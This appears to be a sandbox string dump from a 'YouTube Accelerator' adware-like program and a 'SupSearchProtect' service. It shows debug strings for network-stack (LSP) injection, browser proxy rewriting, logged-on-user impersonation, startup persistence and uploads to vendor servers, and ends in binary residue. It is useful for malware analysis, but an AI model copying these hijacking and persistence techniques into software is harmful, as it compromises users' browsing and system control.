[CFileResource::Extract] ___Error Write: %d

[CFileResource::Extract] ___Error Create: %d

[CFileResource::Extract] %s

[CFileResource::ExtractAll] ___Error ExtractResourceFromList: %x

[CFileResource::ExtractAll] ___Error EnumResourceTypes: %d

ListenPort

[EngineConfiguration::GetCurrentUserKey] User Key: %X

[EngineConfiguration::GetCurrentUserKey] ___Error spIImpersonateThread == NULL

HttpRedirectProxyPort

HttpRedirectProxyDomain

[CEventsThread::SetTimeoutResolution] From: %d -> To: %d

[CEventsThread::WaitForMultipleEvents] Released on Signaled: %d ms

[CEventsThread::WaitForMultipleEvents] Released on Timeout: %d ms

[CEventsThread::WaitForMultipleEvents] ___Error MsgWaitForMultipleObjectsEx. LE: %d

[CEventsThread::WaitForMultipleEvents] TID=%X

[CEventsThread::CreateNamedEvent] OpenEvent. LE: %d

[CEventsThread::CreateNamedEvent] ___Error OpenEvent: LE: %d

[CEventsThread::CreateNamedEvent] ___Error CreateEvent. LE: %d. Try OpenEvent...

[CEventsThread::Start - Leave] TID=%X

[CEventsThread::Start] ___Error - Failed to create thread: %X

[CEventsThread::Stop - Leave] TID=%X

[CEventsThread::Stop - Enter] TID=%X

B[CEventsThread::CallProcessTimeoutRoutines] ___Error Invalid Event Entry: %d, Timeout: %d

[CEventsThread::AlertEvent] ___Error SetEvent failed: %d

[CEventsThread::AlertEvent] ___Error Invalid Event Entry: %d

[CEventsThread::AlertEvent] ___Error Not found Event: %d

[CEventsThread::SetGlobalEvent] ___Error Invalid Event Entry: %d

[CEventsThread::SetGlobalEvent] ___Error Not found Event: %d

[CEventsThread::SetGlobalEvent] Event: %d

[CEventsThread::ResetEvent] ___Error ResetEvent failed: %d

[CEventsThread::ResetEvent] ___Error Invalid Event Entry: %d

[CEventsThread::ResetEvent] ___Error Not found Event: %d

[CEventsThread::ResetEvent] Event: %d

[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Entry: %d

[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Index: %d

[CEventsThread::RemoveEvent] ___Error CloseHandle failed: %d

[CEventsThread::RemoveEvent] ___Error Invalid Event Entry: %d

[CEventsThread::RemoveEvent] ___Error Not found Event: %d

[CEventsThread::RemoveEvent] Event: %d

[CEventsThread::Cleanup] ___Error CloseHandle(0x%p) failed: %d

[CEventsThread::Cleanup] Closing Handle: %d

[CEventsThread::WaitEvent] TID=%X

[CEventsThread::Work] TID=%X - Exit !!!

[CEventsThread::Work] WAIT_ABANDONED - %d

[CEventsThread::Work] TID=%X

B[CEventsThread::AddEvent] ___Warning event handle already exists %d

[CEventsThread::AddEvent] ___Error invalid event handle %d

[CExecuteUpdate::OnDeserialize] ___Error get m_ShowCmd

[CExecuteUpdate::OnDeserialize] ___Error get m_Directory

[CExecuteUpdate::OnDeserialize] ___Error get m_Parameters

[CExecuteUpdate::OnDeserialize] ___Error get m_Operation

[CExecuteUpdate::OnDeserialize] ___Error get m_File

[CExecuteUpdate::RunUpdate] ___Error ShellExecute: %s, Faild: %d

http_port

user.js

user_pref("network.proxy.

autoconfig_url

Windows XP Firewall (ICF)

SOFTWARE\McAfee.com\Personal Firewall

DAP.EXE

Windows Security Alert

%d.%d.%d.%d

HttpHandleAll

HttpWorkerBufferLimit

HttpListenPort

HttpListenIP

.html

\winhlp32.exe

[CIEInternetProxySettings::RetriveProxyConfiguration - Exit] list.pOptions == NULL

[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption( INTERNET_OPTION_REFRESH ) - Failed: %d

[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d

[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption() - Failed: %d

[CIEInternetProxySettings::IsOptionIncluded] NOT Found - Option: %d, Value: %d

[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: %d

[CIEInternetProxySettings::IsOptionIncluded] NOT Found - Option: %d, Value: %s

[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: %s

[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: NULL

[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption( INTERNET_OPTION_REFRESH ) - Failed: %d

[CIEInternetProxySettings::Refresh] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d

[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption() - Failed: %d

[CIEInternetProxySettings::SetProxyConfigScript] list.pOptions == NULL

[CIEInternetProxySettings::GetCurrentUserKey] User Key: %p

[CIEInternetProxySettings::GetCurrentUserKey] ___Error spIImpersonateThread == NULL

[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d

http=

[CIEInternetProxySettings::Save] %s - %s = %s

[CImpersonate::Impersonate] ImpersonateLoggedOnUser - Error: %d

[CImpersonate::Impersonate] Impersonated: %d

[CImpersonate::Revert] RevertToSelf - Error: %d

[CImpersonate::Revert] Impersonated: %d

[CImpersonate::Cleanup] Impersonated: %d

[CImpersonate::GetUserSID] LookupAccountNameW failed. GetLastError returned: %d

[CImpersonate::GetUserSID] The SID for %s is invalid.

[CImpersonate::GetUserSID] Not Enough Memory: %d

[CImpersonate::SetPrivilege] AdjustTokenPrivileges - Error: %d

[CImpersonate::SetPrivilege] LookupPrivilegeValue - Error: %d

[CImpersonate::OpenCurrentUserDesktop] - The function does not support Windows Vista and Windows 98

[CImpersonate::OpenCurrentUserDesktop] OpenDesktop - Error: %d

[CImpersonate::OpenCurrentUserDesktop] OpenInputDesktop - Error: %d

[CImpersonate::OpenCurrentUserDesktop] SetProcessWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] OpenWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] GetProcessWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] - The function does not support MAC

[CImpersonate::CreateProcessAsCurrentUser] CreateProcessAsUser - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] CreateEnvironmentBlock - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] AddAceToDesktop - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] AddAceToWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] GetLogonSID - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] DuplicateTokenEx - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] OpenDesktop - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] SetProcessWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] OpenWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] GetProcessWindowStation - Error: %d

[CImpersonate::AddAceToWindowStation] SetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToWindowStation] SetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToWindowStation] CopySid - Error: %d

[CImpersonate::AddAceToWindowStation] AddAce - Error: %d

[CImpersonate::AddAceToWindowStation] GetAce - Error: %d

[CImpersonate::AddAceToWindowStation] GetAclInformation - Error: %d

[CImpersonate::AddAceToWindowStation] GetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToDesktop] SetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToDesktop] SetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToDesktop] AddAccessAllowedAce - Error: %d

[CImpersonate::AddAceToDesktop] AddAce - Error: %d

[CImpersonate::AddAceToDesktop] GetAce - Error: %d

[CImpersonate::AddAceToDesktop] GetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToDesktop] GetUserObjectSecurity - Error: %d

[CImpersonate::OpenCurrentUserKey] LoadUserProfile - SUCCESS

[CImpersonate::OpenCurrentUserKey] LoadUserProfile failed - Error: %d

[CImpersonate::GetLogonUserName] GetLogonUserName - Error: %d

[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - Error: %d

[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - SUCCESS

[CImpersonate::OpenCurrentUserKey] Impersonated: %d

[CImpersonate::FindLoggedOnUser] Process32First - Error: %d

[CImpersonate::FindLoggedOnUser] OpenProcess - Error: %d

[CImpersonate::FindLoggedOnUser] OpenProcessToken - Error: %d

[CImpersonate::FindLoggedOnUser] CreateToolhelp32Snapshot failed - Error: %d

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

explorer.exe

[CImpersonate::FindLoggedOnUser] Impersonated: %d

[CImpersonate::GetLogonUserName] Name: %s

[CImpersonate::GetLogonUserName] GetUserName - Error: %d

[CImpersonateThread::NotifyImpersonateLogon] Time: %d

[CImpersonateThread::NotifyImpersonateLogoff] Time: %d

[CImpersonateThread::ProcessEvent] CreateProcess - CmdLine: %s, AppName: %s, ShowCmd: %d

[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(TRUE), LE: %d

[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(FALSE) failed: %d

[CImpersonateThread::CreateProcess] CmdLine: %s, AppName: %s, ShowCmd: %d

Name: %s

Path: %s

Version: %s

%s_%d.log

CSLogReportEventThread::DoPacLogFiles] Zip file created.

*.bak

CSLogReportEventThread::DoPacLogFiles] ___Error FindFirstFile( %s ): %d

*.log

Config.xml

CSLogReportEventThread::DoPacLogFiles] ___Error to Create Zip file.

BakLspCommTest.zip

LspCommTest.zip

[CSLogReportEventThread::DoPostZipFile] ___Error POST FAILED. LE: %X

[CSLogReportEventThread::DoPostZipFile] POST SUCCEEDED

hXXp://online.@[email protected]/online/CommunicationTestFailed.aspx

[CSLogReportEventThread::DoPostZipFile] Trying to POST...

[CSLogReportEventThread::DoPostZipFile] ___Error CHttp to Connect: %X, Server: %s

hXXp://online.@[email protected]/online/

CSLogReportEventThread::DoPostZipFile] ___Error CFile64 to get Zip file length.

CSLogReportEventThread::DoPostZipFile] ___Error CFile64 to open file: %s

[ProxySettingsConfiguration::RestoreOriginalSettings] ___Error ApplyIEProxySettings - Wait: %d

[ProxySettingsConfiguration::RestoreOriginalSettings] ___Error ApplyIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::SaveApplied] ___Error RetrieveIEProxySettings - Wait: %d

[ProxySettingsConfiguration::SaveApplied] ___Error RetrieveIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::SaveOriginal] ___Error RetrieveIEProxySettings - Wait: %d

[ProxySettingsConfiguration::SaveOriginal] ___Error RetrieveIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::RetriveExisting] ___Error RetrieveIEProxySettings - Wait: %d

[ProxySettingsConfiguration::RetriveExisting] ___Error RetrieveIEProxySettings - ProcessCommand: %d

[ProxySettingsConfiguration::SetProxyConfigScript] ___Error SetProxyConfigScript - Wait: %d

[ProxySettingsConfiguration::SetProxyConfigScript] ___Error SetProxyConfigScript - ProcessCommand: %d

SOFTWARE\GOOBZO\YouTube Accelerator\%s\Original

SOFTWARE\GOOBZO\YouTube Accelerator\%s\Current

M[CRegistrationMgr::IsTrialVersion]%d

exp=%d

ins=%d

Dur=%d

[CRegistrationMgr::SetTrial] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::UpdateTrialParams] ___Error XMLNode::emptyNode %s

Trial.dat

Trial_QA.xml

[CRegistrationMgr::StartTrial] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::GetBoolNagFlagTrialExpAcceleration] ___Error XMLNode::emptyNode .%d

[CRegistrationMgr::GetBoolNagFlagTrialExpAcceleration] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::GetBoolNagFlagTrialExpAcceleration] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::HandleTrialScenario] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::HandleTrialScenario] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::GetBuyNowDailyString] ___Error XMLNode::emptyNode .%d

[CRegistrationMgr::GetBuyNowDailyString] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::GetBuyNowDailyString] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::GetRotatedString] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::GetRotatedString] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::GetContinueTrialDailyString] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::GetContinueTrialDailyString] ___Error XMLNode::emptyNode %s

(%d days left)

DAYURL

[CRegistrationMgr::GetDailyUrl] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::GetDailyUrl] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::GetDailyUrl]

[CRegistrationMgr::GetContinueTrialDailyUrl] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::GetContinueTrialDailyUrl] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::GetContinueTrialDailyUrl]

[CRegistrationMgr::GetContinueTrialBtnTxt] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::GetContinueTrialBtnTxt] ___Error XMLNode::emptyNode %s

xmldb.dll

config.xml

RtmpListenPort

MiTunes.exe

[CSA_GUIApp::RegisterCommTestEvents] ___Error m_pPipeEventThread == NULL

[CSA_GUIApp::UnRegisterCommTestEvents] ___Error m_pPipeEventThread == NULL

[CSA_GUIApp::IsTrial] m_bIsTrial = %d

User%d

[CSA_GUIApp::GoToURL] ___Error FindExecutable failed url = %s

[CSA_GUIApp::GoToURL] ___Error The specified file was not found

YouTubeAccelerator.exe

[CSA_GUIApp::IsTestingSucceeded] InstalledLspVersion: %s, SBLSP: %s

ytalsp.dll

[CSA_GUIApp::UpdateRunOnStartup] Creating Run on startup registry key for %s

[CSA_GUIApp::RunUnwise] ___Error WaitForSingleObject: %d

[CSA_GUIApp::RunUnwise] ___Error CreateProcess: %d, Command: %s

unwise.exe

[CSA_GUIApp::GetTempDir] ___Error GetTempPath: %d

[CSA_GUIApp::GetTempDir] Folder: %s

[CSA_GUIApp::RunFromTemp] ___Error CreateProcess: %d, Command: %s

%s %s

[CSA_GUIApp::RunFromTemp] ___Error Copy: %s - to Temp: %s

YoutubeAcceleratorService.exe

D[CSA_GUIApp::SetTestingSucceeded] InstalledLspVersion: %s

[CSA_GUIApp::UpdateResourceDll] ___Error Removing %s. Err = %d

[CSA_GUIApp::UpdateResourceDll] ___Error Renaming %s to %s. Err = %d

[CSA_GUIApp::UpdateResourceDll] ___Error ExtractDataFromResFile: %x (Temp)

[CSA_GUIApp::UpdateResourceDll] VAResTemp.dll file Path: %s

Res\VARes_%d\

[CSA_GUIApp::UpdateResourceDll] ___Error ExtractDataFromResFile: %x

[CSA_GUIApp::UpdateResourceDll] ___Error CreateDirectoryRecursivlyFromPath: %x

[CSA_GUIApp::UpdateResourceDll] Resources Folder: %s

VARes_%d\

[CSA_GUIApp::UpdateResourceDll] DllVer: %d, RegVer: %d, TmpVer: %d

ResOld.dll

ResTemp.dll

[CSA_GUIApp::UpdateResourceDll] ___Error GetPath: %x

[CSA_GUIApp::RunFinishHtml] GotoURL status is %d

[CSA_GUIApp::RunFinishHtml] Finish URL is : %s

hXXp://@BRAND_ID@.@[email protected]/finishinstall?

hXXp://rep.@[email protected]/app/ping.ashx

engine.dll

[CSA_GUIApp::FormatURL] URL: %s

&TrialDaysLeft=%d

?V=%s&pr=%d&Beta=%d&Emode=%d

[CSA_GUIApp::InitInstance] __Error m_pPipeEventThread = NULL

[CSA_GUIApp::InitInstance] Uninstall URL - GotoURL status is %d

[CSA_GUIApp::InitInstance] ___Error to load VideoAccelerator - CreateDialog Failed: %d

VA???.lng

[CSA_GUIDlg::OnShowTrayIcon] - m_TrayIcon.ShowIcon() Failed !!!

[CSA_GUIDlg::SetOpenMainWindowDisableFlag]bVal = %d

%s&OEM=%s

hXXp://@BRAND_ID@.@[email protected]/support/help

VIDEO_ACCELERATOR.MHT

[CSA_GUIDlg::ShowMenora] ___Error No lending url

[CSA_GUIDlg::OnMenoraOpen] ___Error url empty

[CSA_GUIDlg::RunLspInstaller] ___Error - LSP installer returned after Timeout, error %d

[CSA_GUIDlg::RunLspInstaller] ___Error - LSP installer returned failure %d, error %d

[CSA_GUIDlg::RunLspInstaller] Wait for LSP Installer process to complete for %d milsecs...

[CSA_GUIDlg::RunLspInstaller] Executing LSP Installer process: %s

-b -d %s

lspinst2.exe

lspinst.exe

CSABaseWebWindow::OnBeginDrag

CSABaseWebWindow::OnStopDrag

ECSABaseWebWindow::Navigate : url = %s

CSABaseWebWindow::OnNavigateError : url = %s

CSABaseWebWindow::OnNavigateComplete : url = %s

CSABaseWebWindow::OnDocumentComplete : url = %s

CSANotifierWebWindow::SetMetaData GOT 'height'

CSANotifierWebWindow::SetMetaData GOT 'width'

[CSANotifierWebWindow::ReplaceLNGTags] replacing "%s" with "%s" = "%s" from String table

[CSANotifierWebWindow::ReplaceLNGTags] ___Error no "%s" in String table, putting "%s"

[CSANotifierWebWindow::ReplaceLNGTags] ALT case replacing <STRING_GOES_HERE> at "%s" with "%s" = "%s" from String table

[CSANotifierWebWindow::ReplaceLNGTags] ___Error ALT case no "%s" in String table, putting "%s" instead of <STRING_GOES_HERE> at "%s"

[CSANotifierWebWindow::ReplaceLNGTags] length %d

[CSANotifierWebWindow::ReplaceLNGTags]

[CSANotifierMgr::GetAvaliableNotifier] Message %d is already displayed

ItweetMessage.mht

SilentTestFailed.mht

SilentTestSucceeded.mht

ITUNESMESSAGE.MHT

hXXp://VVV.fileratings.com/video/@PRODUCT_DOMAIN@/12/buyiTunes.asp

OldDriver.mht

Activation_Expired.mht

noupdates.mht

exiting.mht

va_on.mht

va_off.mht

dl_update.mht

update.mht

HD_DISABLED.MHT

ACCELERATION_NOT_SUPPORTED.MHT

now_accelerating.mht

ACCELERATION_NOT_SUPPORTED_CHECKBOX

ACCELERATION_NOT_SUPPORTED_BUTTON_OK

%d days left.

%d Days left

<d/d/%d d:d:d::d 0x%X>

[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegNotifyChangeKeyValue

[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegOpenKeyEx

[SbTracer::RecursiveCreateDirectory] Directory: %s

[SbTracer::RecursiveCreateDirectory] ___Error - CreateDirectory: %s

[SbTracer::RecursiveCreateDirectory] ___Error - Directory: %s

[SbTracer::FormatFilePath] Log Path: %s

[SbTracer::FormatFilePath] ___Error - RecursiveCreateDirectory: %s

[SbTracer::FormatFilePath] ___Warning - No Log folder: %s

[SbTracer::FormatFilePath] ___Error - GetModuleFileName: %s

\StringFileInfo\x\%s

[SbTracer::ReadConfiguration] Trace Max Size: %d

[SbTracer::ReadConfiguration] Trace Time Stamp: %d

[SbTracer::ReadConfiguration] Trace Time Limit: %d

[SbTracer::ReadConfiguration] Trace Backup: %d

[SbTracer::ReadConfiguration] Trace Destination: %d

[SbTracer::ReadConfiguration] Trace Level: %d

[SbTracer::BackupTraceFile] %s

[SbTracer::OpenTraceFile] Done %s

[SbTracer::OpenTraceFile] ___Error: %d, File: %s

[SbTracer::WriteTraceLine] !!! OVERFLOW or FORMAT ERROR !!! - (%d) %s

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] SetSecurityDescriptorDacl failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeSecurityDescriptor failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the trusted owner. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the Everyone group. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the queue owner. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeAcl failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetLogonSID failed. Error code: 0x%X

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AllocateAndInitializeSid failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetTokenInformation failed. GetLastError returned: %d

[CSerializable::GetField] ___Error - Vector size missmatch. Code: %d

F[CServiceController::ChangeStartType] ___Error ChangeServiceConfig failed: %d

[CServiceController::ChangeStartType] ___Error OpenService: %s, failed: %d

[CServiceController::ChangeStartType] ___Error OpenSCManager failed: %d

[CServiceController::ChangeStartType] Name: %s

[CServiceController::ExecuteServer] Exit

[CServiceController::ExecuteServer] Enter

[CServiceController::ServiceMain] ___Error SetServiceStatus Failed: %d

[CServiceController::ServiceMain] ___Error RegisterServiceCtrlHandler Failed: %d

[CServiceController::UpdateServiceDespatchTable] ___Error Exception StartServiceCtrlDispatcher Failed: %d

[CServiceController::UpdateServiceDespatchTable] ___Error StartServiceCtrlDispatcher Failed: %d

[CServiceController::UpdateServiceDespatchTable] Enter, %s

[CServiceController::Install] ___Error OpenService Failed: %d

[CServiceController::Install] ___Error QueryServiceStatus Failed: %d

[CServiceController::Install] ___Error CreateService Failed: %d

[CServiceController::Install] ___Error OpenSCManager Failed: %d

%s -%s -%s

%s\%s

[CServiceController::Install] ___Error GetModuleFileName Failed: %d

[CServiceController::Remove] ___Error OpenService Failed: %d

[CServiceController::Remove] ___Error OpenSCManager Failed: %d

[CServiceController::GetStatus] ___Error QueryServiceStatus Failed: %d

[CServiceController::GetStatus] ___Error OpenService Failed: %d

[CServiceController::GetStatus] ___Error OpenSCManager Failed: %d

[CServiceController::Start] The service %s was started

[CServiceController::Start] ___Error StartService Failed: %d

[CServiceController::Start] ___Error OpenService Failed: %d

[CServiceController::Start] ___Error OpenSCManager Failed: %d

[CServiceController::Start] Going to start the service %s

[CServiceController::Stop] The service %s was stopped

[CServiceController::Stop] ___Error ControlService Failed: %d

[CServiceController::Stop] ___Error OpenService Failed: %d

[CServiceController::Stop] Going to stop the service %s

[CServiceController::Stop] ___Error SetServiceStatus Failed: %d

[CServiceController::GetArgsFromCmd] Exit

[CServiceController::GetArgsFromCmd] m_bSCMCmd = TRUE

[CServiceController::GetArgsFromCmd] Enter

[CServiceController::RunCommand] Args: %s

I[CSettingDlg::LoadEngine] ___Error to Create IHttpEngineConfiguration

[CSettingDlg::OnInitDialog] ___Error to Create IHttpEngineConfiguration

WININET.DLL

Gkernel32.dll

d/d/%d d:d:d::d

[CUtils::GoToURL] ___Error WinExec url = %s, defBrowser = %s, err = %d

"%s" "%s"

"%s" %s

[CVA_Alert::OnDeserialize] ___Error get m_LandingUrl

[CVA_Alert::OnDeserialize] ___Error get m_URL

[ACCELINFO::OnDeserialize] ___Error get URL

SOFTWARE\Microsoft\Windows\CurrentVersion\Run

zvl=%s&

%s?e=%s

SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings

Hcomctl32.dll

Hcomdlg32.dll

Hshell32.dll

accKeyboardShortcut

f:\dd\vctools\vc7libs\ship\atlmfc\include\afxwin2.inl

Afx:%p:%x:%p:%p:%p

Afx:%p:%x

commctrl_DragListMsg

Hf:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\filetxt.cpp

Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

Software\Microsoft\Windows\CurrentVersion\Policies\Network

Software\Microsoft\Windows\CurrentVersion\Policies\Comdlg32

ntdll.dll

%s%s.dll

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\appcore.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\array_s.cpp

mfcm90u.dll

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\auxdata.cpp

Jf:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\filecore.cpp

J.INI

J.com

DLG_%u

PID%u

les (x86)\YouTube Accelerator\YouTubeAccelerator.exe

Important:

Port:

Contact Our Support

See supported video sites

Join Today!

2.0.5.3

Watch YouTube and other web videos without pauses.

Twitter login

Password:

Enter your username and password for Twitter:

<div class="videoitem"><div class="videoimage"><div border" id="%s"><a href="%s" onmouseover="setBorder('%s','1');" onmouseout="setBorder('%s','0');"><img src="images/video/3.jpg" name="moreimg" width="68" /></a></div></div><div class="videotxt">%s</div>

Communications test failed.JWe believe it might be a Security / Firewall issue.

For additional information, contact our support at:

hXXp://@[email protected]/support/

hXXp://@[email protected]/support/VWe believe the problem might be caused by Karspersky antivirus.

hXXp://@[email protected]/support/

Enter port,Please enter a valid Port number (0 - 65536)UPlease enter a valid Domain name or IP address

(e.g. sample.proxy.com, 192.168.1.100)

@BRAND@ - Settings error!3{lX-X-x-XX-XXXXXX}!Get the premium video experience.!The premium web video experience.6Enjoy HD videos and iTunes purchases without the wait.P@BRAND@ Premium

lets you enjoy HD videos and iTunes downloads without the wait.XPlease Approve @BRAND@ in your Firewall and/or Antivirus to complete the Installation...

@BRAND@ECheck out the video %s from %s I'm watching it smoothly with @[email protected] out the video from %s I'm watching it smoothly with @BRAND@.!You are using %s - Translated by:

@BRAND@ is accelerating...#Restart required to change languageeYou have selected %s as VA's interface language.

@BRAND@ Trial version!The ultimate web video experienceN@BRAND@ lets you enjoy smooth web videos and iTunes download without the wait.

!The ultimate web video experienceN@BRAND@ lets you enjoy smooth web videos and iTunes download without the wait.

Normal video acceleration\Watch smooth web videos with bit rates up to 100 KBps without buffering & interruptions.

HD Video AccelerationNStop waiting while you watch HD web videos with high bit rates above 200 KBps.

Supported Video Sites

Every web video just got better

All Files (*.*)

No error message is available.#Attempted an unsupported operation.$A required resource was unavailable.

Command failed.)Insufficient memory to perform operation.PSystem registry entries have been removed and the INI file (if any) was deleted.BNot all of the system registry entries (or INI file) were removed.FThis program requires the file %s, which was not found on this system.tThis program is linked to the missing export %s in the file %s. This machine may have an incompatible version of %s.

Destination disk drive is full.5Unable to read from %1, it is opened by someone else.AUnable to write to %1, it is read-only or opened by someone else.1Encountered an unexpected error while reading %1.1Encountered an unexpected error while writing %1.

#Unable to load mail system support.

3.3.8.9

IEXPLORE.EXE_348:

.text

`.data

.idata

.rsrc

@.reloc

u\j.Xf9

j.Xf9

USER32.dll

api-ms-win-downlevel-shell32-l1-1-0.dll

IEFRAME.dll

SHELL32.dll

iexplore.pdb

api-ms-win-downlevel-shlwapi-l1-1-0.dll

iertutil.dll

api-ms-win-downlevel-advapi32-l1-1-0.dll

KERNEL32.dll

msvcrt.dll

_wcmdln

_amsg_exit

RegOpenKeyExW

RegCloseKey

<!-- Note: This manifest needs to be kept in sync with iexplore.exe.manifest -->

<assemblyIdentity version="5.1.0.0"

name="Microsoft.InternetExplorer"

<windowsSettings>

<dpiAware xmlns="hXXp://schemas.microsoft.com/SMI/2005/WindowsSettings">true</dpiAware>

</windowsSettings>

<!--The ID below indicates application support for Windows 8 -->

<supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/>

KEYW

.ENNNG.

a.ry.v

l.igM4

?1%SGf

xh.JW^

.97777"7" " " !

3.... ))

8888888888888

8888888888

.lPV)

�W1

.ApX/

H.ZAf

�[U

%s!FK

1YYYY1YY9GEAA=77YRNNNW:.VT1

888777777

Y.hilkRROMLK=C,

..(((($$

3...((((%

3....(.''$

3.2...((((%

33.2....(,'

55323222...

(%&'00443445?

00.,,,4(

000.,,9(

0020..9(

003200;(

(#'( (''''!'!

Microsoft.InternetExplorer.Default

Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe

{28fb17e0-d393-439d-9a21-9474a070473a}

imm32.dll

Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11cf-8B85-00AA005B4383}

Kernel32.dll

"%s" %s

kernel32.dll

IEXPLORE.EXE

{00000000-0000-0000-0000-000000000000}

\\?\Volume

Imaging_CreateWebPagePreview_Perftrack

Browseui_Tabs_Tearoff_BetweenWindows

Browseui_Tabs_Tearoff_BetweenWindows_TabProc

Frame_URLEntered

Imaging_CreateWebPagePreview

WS_ExecuteQuery

Shdocvw_BaseBrowser_FireEvent_WindowStateChanged

IdleTask_Execution_Time

Shdocvw_BaseBrowser_FireEvent_BeforeScriptExecute

IMTravelLogMVC_TravelURL

10.00.9200.16521 (win8_gdr_soc_ie.130216-2100)

Windows

10.00.9200.16521

ProtectService.exe_3368:

.text

`.rdata

@.data

.rsrc

@.reloc

GET %s%s%s HTTP/1.1

Host: %s

%sUser-Agent: Mozilla/4.0

POST %s HTTP/1.1

%sContent-Type: %s

User-Agent: Mozilla/4.0

Content-Length: %u

%*s %d %*s

%*[ ]%[^

?456789:;<=

!"#$%&'()* ,-./0123

file_url

E:\supsoft\SupSearchProtectV4\SearchProtect\Bin\Release\ProtectService.pdb

GetProcessHeap

GetSystemWindowsDirectoryW

KERNEL32.dll

USER32.dll

RegOpenKeyW

RegCloseKey

RegOpenKeyExW

RegCreateKeyExW

ADVAPI32.dll

SHELL32.dll

MSVCP110.dll

InternetCrackUrlW

WININET.dll

WS2_32.dll

SHLWAPI.dll

MSVCR110.dll

_crt_debugger_hook

__crtUnhandledException

__crtTerminateProcess

_calloc_crt

__crtGetShowWindowMode

_amsg_exit

_wcmdln

__crtSetUnhandledExceptionFilter

WinHttpCloseHandle

WinHttpOpen

WinHttpSetTimeouts

WinHttpCrackUrl

WinHttpConnect

WinHttpOpenRequest

WinHttpSetOption

WinHttpAddRequestHeaders

WinHttpSendRequest

WinHttpGetIEProxyConfigForCurrentUser

WinHttpGetProxyForUrl

WinHttpWriteData

WinHttpReceiveResponse

WinHttpQueryHeaders

WinHttpQueryDataAvailable

WinHttpReadData

WINHTTP.dll

SensApi.dll

VERSION.dll

PSAPI.DLL

USERENV.dll

.?AVCHttpClient@@

.?AVCTcpipSocket@@

<requestedExecutionLevel level='requireAdministrator' uiAccess='false' />

2-2v2

hXXp://

Software\Microsoft\Windows\CurrentVersion\Internet Settings

http=

WinHttpClient

